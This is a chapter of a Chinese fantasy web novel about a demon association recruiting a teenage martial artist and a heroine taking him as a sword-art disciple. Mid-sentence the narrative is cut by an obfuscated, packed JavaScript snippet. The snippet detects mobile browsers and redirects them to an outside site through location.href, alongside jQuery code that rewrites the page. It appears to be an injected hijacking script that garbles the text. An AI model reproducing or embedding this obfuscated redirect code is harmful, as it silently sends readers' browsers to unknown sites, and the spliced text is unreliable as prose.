苍阳华颔首。 “那个也是我的那个朋友给我的。” 黄枫嘴角微勾:“那是她送给我防身的。” “那个符有什么问题吗?” 他疑惑地看向苍阳华。 “据我所知,你应该并没有道术上的天分。” “而且,不知道你了不了解,正常的符咒没有法力是不能使用的。” 黄枫本来听到前一句的时候眼神略有几分黯然,听到下一句时却有些不解。 “我知道一般的符咒是这样的,但是不用法力就能用的符咒很特殊吗?” 他以为她给他的符咒只是比普通的稍微珍贵了些。 “确实很特殊,”苍阳华脸上的表情看上去有些幽玄莫测,“据目前所知,这项技术仅有一人掌握。” “而这个人,已经销声匿迹多年。” 黄枫惊讶之下,想都没想开口道:“可是她和我差不多大啊?” 说完他才发现自己不小心说出了什么,连忙一脸慌张地捂住了嘴。 完了,一不小心暴露了一点。 他这个嘴。 黄枫暗自懊恼,同时又有点庆幸,还好只漏了点不太重要的。 苍阳华见状眼中闪过一丝笑意:“别着急,我们对你的朋友兴趣不大。” “我们在意的是另外一件事。” 他把妖怪连环失踪案件娓娓道来,黄枫听得义愤填膺,握紧拳头,连连直道“太可恶了”。 秦巡斜眼瞥着他,心里暗叹:又有一个被会长忽悠上贼船的。 “就是可惜,”苍阳华叹了口气,“现在协会正缺人手,要是多几个得力的帮手,救出那些妖怪就容易多了。” 他天花乱坠一顿忽悠,顿时把正是热血少年时期的黄枫煽动得热血沸腾、心潮澎湃。 恨不得立马加入他们,做那个拯救可怜妖怪们于水火之中的大英雄。 “你们还缺人吗?” 他脑子一冲动,霎时这句话脱口而出。 余一安在一旁摸着下巴,目不转睛地盯着他们,总感觉哪里不太对劲的样子。 苍阳华笑眯眯的,一脸和蔼:“好好好,年轻人就是有担当。” “像你这样有正义感的小伙子现在可不多见了。” “嘿嘿,哪里哪里。” 他一顿夸赞顿时把黄枫哄得晕乎乎,一时之间找不着北了。 33. 收徒的妖怪 过了好一会,他后知后觉反应过来,自己本来只是被送过来配合调查的,怎么还莫名其妙把自己赔进去了。 不过既然是已经出口的话,他也不好意思收回去,希望他家老爷子不要太生气。 黄枫在心里默默祈祷。 他心里倒也后悔自己的决定,毕竟在他看来,这实在是一件很热血的事情。 哪个少年在中二时期没有想象过自己成为那惩恶扬善,为世界伸张正义的英雄呢? 他忽然想到一个问题。 “我平时还要上课,可能没那么多时间。” “没事,”苍阳华一点也不介意,毕竟半份劳动力也是劳动力,他不嫌少,“你有空来就好了。” “到时候我们有需要通知你。” “好,有空我一定来。”黄枫嘿嘿笑着答应了。 反正已经答应了,他家老爷子估计也不能说他什么,顶多吹胡子瞪眼睛骂他几句,到时候自己随便糊弄一下就行。 成功忽悠到了一个劳动力的苍阳华满意地转过头,转头看向余一安:“余小姐,请问下你的黄鼠狼有带过来吗?” 他已经知道余一安和黄鼠狼签订了契约的事。 余一安见他忽然问到自己,懵了下,反应了两秒才“嗯嗯”地点了点头:“带了。” 她从包里掏了掏,拎出来一只闭着眼,正睡得一脸香甜的黄鼠狼,全是毛的嘴巴边还淌着一条哈喇子。 秦巡:…… 黄枫:!? 余一安见她一直不醒,于是动手晃了晃。 一根长长的黄条子顺着她的力道,上下左右,各个方向,无力地摇摆着。 似乎是终于感受到了不对,黄鼠狼缓缓睁开了眼。 本来有些睡眼惺忪的双眼,在余一安不停的摇晃下,变成了一圈圈的蚊香状。 它晕乎乎地挣扎着开口:“别…别转了,要晕过去了……” 听到声音,余一安终于停了动作。 眼冒金星的黄鼠狼,一瞬间只感觉天地都在绕着自己旋转,缓了好久才感觉自己好像一觉醒来换了个地方。 它有些懵,环视一周:“这…是哪里?” 余一安:“妖怪协会。” “哦哦,”黄鼠狼点点头,绿豆大的眼珠子又看向一边的苍阳华和黄枫:“这两…又是谁?” “我是妖怪协会的会长。” “你好。” 苍阳华十分客气友好地对它打了个招呼。 黄枫还在沉浸于看到动物说话场景的震惊中,反应过来也跟着开口:“我是黄枫,你好。” 黄鼠狼听完竟然还有些感动,这是它下山以来第一次遇到对它态度这么正常的人。 它刚想开口说话,就被余一安打断了:“是大祭司说了怎么处理它了吗?” 黄鼠狼一听到大祭司这个词,身体下意识一抖,发现他们在说自己的处置问题,连忙竖起耳朵,目光炯炯,不放过一丝一毫的细节。 苍阳华点头:“来信说,他们决定等案件调查结束后,根据对方的表现,再对黄鼠狼进行处置。” 意思就是,干得多惩罚就轻一点,干得少惩罚就重一点。 黄鼠狼长满毛的脸皮子都绷紧了,眼神透着一股坚定,心里暗道自己一定要在这些天里多干些事。 它一点都不想体验温再玄的手段。 余一安非常快地接受了这个安排,她知道这已经是大祭司看在她的份上做的决定了。 毕竟从她们签订契约后,黄鼠狼就已经算是余一安的一部分了。 说完这件事,苍阳华就让自己的秘书把他们两个带去了那个废弃运动场,他和秦巡还有其他事要做,就并没有跟着一起去。 等秦巡忙完过去的时候,就看到黄枫正给余一安行着礼,口里还嚷嚷什么“师傅在上,受徒儿一拜!” 秦巡:? 他就一会儿不在,这一人一妖怎么就发展成这样了? 秦巡赶紧走了过去,开口问道:“你们在干什么?” 余一安看到他眼睛一亮:“秦巡,你也来了!” 黄枫转过头,对秦巡解释:“我师傅的刀法太厉害了,我拜了她做我师傅,学她的刀法!” 之前打斗的时候就觉得对方厉害,没想到今日一比式,比他印象中还要强好几分! 他这次在余一安的刀下竟然只接了几招就败了下来。 虽然有些气馁,但他还是很服气的,顺便还夸了对方几句。 谁知道余一安一听,直接就高兴得不行,兴致勃勃问他要不要学自己的刀法。 黄枫当然愿意了,忙不迭地答应了,直接当场拜了师。 余一安使的刀法他可是从未见过,要知道他可是从小就遍览各家武学,见识过百家武艺。 若是有他没见过的,那一定是失传的孤品。 对方愿意把这种宝藏传授给他,真的让他惊喜坏了。 余一安其实也挺开心,她看得出来黄枫根骨确实非凡,才十几岁就有这么厉害的实力。 而且她的刀法是温再玄教的,目前也就他们两个人会,而且温再玄不使刀,估计也没有教授其他人的耐心,但是余一安还是挺希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538321|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望把这个刀法传下去的。 于是两两有意之下,非常愉快的地达成了秦巡看到的场面。 听完整个来龙去脉之后,秦巡心想:这可真是草率啊。 他问:“温大祭司会同意吗?” “为什么不会同意?” 余一安不是很理解,反问他。 “你不是说,这是他教你的吗?不需要先问一下吗?” 秦巡也有些担心妖族大祭司生余一安的气。 听完秦巡的解释后,余一安一点都不担心,笑嘻嘻的开口:“没事的,大祭司才不会生我的气。” 要知道温再玄基本没对余一安生过什么气,大部分原因都还是因为余一安把她娘余若惹生气了。 秦巡眼神微动,算是放下心来:“那就好。” 黄枫忍耐不住:“那师傅,我们什么时候开始学?” “下次吧。” 今天熬了夜,又打了一场,余一安感觉自己有点累了。 “好!” 黄枫也不失望,决定有空就来找他师傅。 秦巡这下终于可以开口说自己的目的:“黄枫,你家里人来接你了。” 黄枫闻言立马看过去,表情诧异:“这么快?” 秦巡心想这都快到吃饭时间了,哪里快了。 把黄枫送走后,秦巡和余一安回到了公寓,敲开了江元白的门。 “你们这么早就回来了?” 江元白打开门,挑眉问道。 会长竟然会这么快就放人? “白白!” 余一安一脸喜气洋洋对江元白分享自己新收的徒弟。 “?” 江元白听到她说的话顿时一愣,在听到这个徒弟还是古武黄家嫡系的时候还是不得不惊讶了一下。 他表情没变,刚想说还好,但是看到余一安一副求表扬的样子,还是抿了抿唇,夸了下对方:“挺厉害的。” 秦巡听到他这句话没忍住看了他一眼,这还是他认识那个从不夸人的江元白吗? 不会是被啥不好的东西附体了吧? 余一安本来就挺开心,听到这句话顿时更乐了,一脸骄傲,小尾巴简直要翘天上去了:“我也这么觉得。” 江元白本来还有点别扭,但是看到对方这么高兴的样子,心中的不自然也就散了些去。 他关上门,问秦巡:“是得到了什么情报吗?” 以他的了解,没有事的话会长不可能放他们这么早回来的。 秦巡掏出自己的本子,把今天黄枫讲的事情一五一十先给他说了。